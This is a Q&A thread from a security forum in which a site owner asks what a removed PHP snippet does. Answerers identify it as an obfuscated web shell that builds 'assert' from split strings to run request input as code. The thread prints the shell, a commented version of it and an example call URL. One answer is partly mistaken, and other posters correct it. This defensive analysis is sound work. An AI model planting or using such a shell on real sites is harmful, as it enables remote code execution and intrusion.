18

I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code:

if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

Could you tell me what it does? How does ${'a'} lead to code execution? Is the injected code sent by POST request?

Arminius
  • 44,242
  • 14
  • 143
  • 138
user136206
  • 189
  • 1
  • 3
  • 14
    Things like this are why a standard recommendation would be to recover known good code to a fresh, clean system instead of trying to clean up this system. Once you're finished with cleaning up this PHP code, how can you know that you don't have one or multiple non-PHP backdoors/rootkits installed, which would be a reasonable expectaction? Or even that you got the PHP part completely clean? It seems a bit futile. – Peteris Jan 13 '17 at 07:54
  • @Peteris I agree, though if good-code's backups are not in their latest version/available (e.g.: CMS' customized code), cleaning may be a nuisance and a futile thing to do, especially when requested by a client that does not understand recovery. On the positive side, it is also a learning experience... – CPHPython Jan 13 '17 at 14:46
  • @CPHPython even in this situation the proper response wouldn't be to clean up the compromised system - then you should start with a clean system with the latest good code that you do have (or e.g. a uncustomised CMS version), do a diff with the compromised code, and then transfer over only those parts of the diff that are the customizations/fixes/etc that you want. In this way you can be sure of what modifications you transferred, are much less likely to leave a backdoor, and also you have a *full* list of what changes the attackers made to that code, not just the places that seem suspicious. – Peteris Jan 13 '17 at 16:59
  • @Peteris Again I agree, and I'd likely take that approach. However, it still requires to do a full comparison of all source code, developer's code and all plugins' code (requiring to re-fetch the same plugins' versions)... The management/client may not understand why it would take so long to fix something that was good just the previous day, and if they wouldn't accept the delay, they would probably ask for a quick cleanup and put it live as fast as possible, while another team (if there is one) would do that comparison, rebuild everything from scratch and figure out how the attackers did it.. – CPHPython Jan 13 '17 at 18:32

2 Answers2

45

It's an obfuscated web shell that allows remote code execution.

The script feeds $_REQUEST['e'] into the assert() function. That evaluates the e request parameter as PHP. Use it like this:

http://example.com/shell.php?e=phpinfo()

assert() is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP expression. It's a fancy way of avoiding eval() to prevent malware detection.

Here is the snippet reformatted and commented:

<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
    // Complicate static analysis by assembling "assert" from multiple strings
    $b = "ass"."ert";
    // Evaluate assertion (yes, in PHP you can "call" a string as function name)
    $a = $b($_REQUEST['e']);
    // Junk. The assertion has already run, this doesn't do anything
    ${'a'};
}
?>

How does ${'a'} lead to code execution?

It doesn't. $b($_REQUEST['e']) is where the assertion runs. The code works without ${'a'}.

Is the injected code sent by POST request?

$_REQUEST allows the parameter to be sent via both GET and POST.

Arminius
  • 44,242
  • 14
  • 143
  • 138
  • 3
    I'm Commander Shepherd, and this is my favorite answer on the citadel. Or at least for this question. Quick! The mods are asleep, post answers! – Mark Buffalo Jan 12 '17 at 23:57
  • 2
    @MarkBuffalo During the day we're SecSE but *at night* we're a [free malware analysis service](http://meta.security.stackexchange.com/questions/2486/are-we-a-free-malware-analysis-service). – Arminius Jan 13 '17 at 00:03
  • 38
    In what kind of ass-backwards language is assert also eval? Oh right... – user253751 Jan 13 '17 at 05:18
  • @immibis `"ass"` + `"ert"` – Mindwin Remember Monica Jan 13 '17 at 14:15
  • 1
    `Complicate static analysis by assembling "assert" from multiple strings` from all the "complicated" ways that could explain that line, yours made me laugh. – CPHPython Jan 13 '17 at 14:36
  • @CPHPython It works when your intrusion scanner is just grepping for 'assert'. How many of them do that, I have no idea. – user253751 Jan 14 '17 at 00:26
5

Let's break it down.

$b="ass"."ert"

This will create a variable 'b' with 'ass' concatenated with 'ert' to form 'assert'.

$a=$b($_REQUEST['e']);

Since b = 'assert' this will evaluate to assert() passing in whatever is 'e' in the request. Assert is a function that will check to see if the what is passed in is false (http://php.net/manual/en/function.assert.php).

${'a'} 

This actually does nothing. It is the same as $a.

If the hacker passes in a something as 'e' in the request by requesting the page yourdomain.com/thephpfile.php?e=1%3D2 the browser will convert %3D to the '=' sign and e will be '1=2'.

Let's put it together.

${'assert(1=2)'}

This will return 1 because it is asserting that the result is false.

This can be used to check variables in your php page by checking to see if a variable equals what they pass in.

Let me know if you need clarification.

MikeSchem
  • 2,311
  • 1
  • 13
  • 36
  • 1
    `${'assert(1=2)'}` would just define a variable. `$b($_REQUEST['e'])` is where the assertion gets executed. Also, `1=2` is an assignment, not a comparison. – Arminius Jan 12 '17 at 23:58
  • Right, sorry I should have used ==. As far as when the code is actually run, I believe you need the ${} to actually execute the assert(), otherwise it is just a string in a variable. – MikeSchem Jan 13 '17 at 00:02
  • Your breakdown is wrong. `${'a'};` is the same as `$a;`. It doesn't have any evaluating side effects. http://www.cowburn.info/2008/01/12/php-vars-curly-braces/ – Arminius Jan 13 '17 at 17:35
  • Made changes to my answer to reflect your comments, thanks! – MikeSchem Jan 20 '17 at 13:17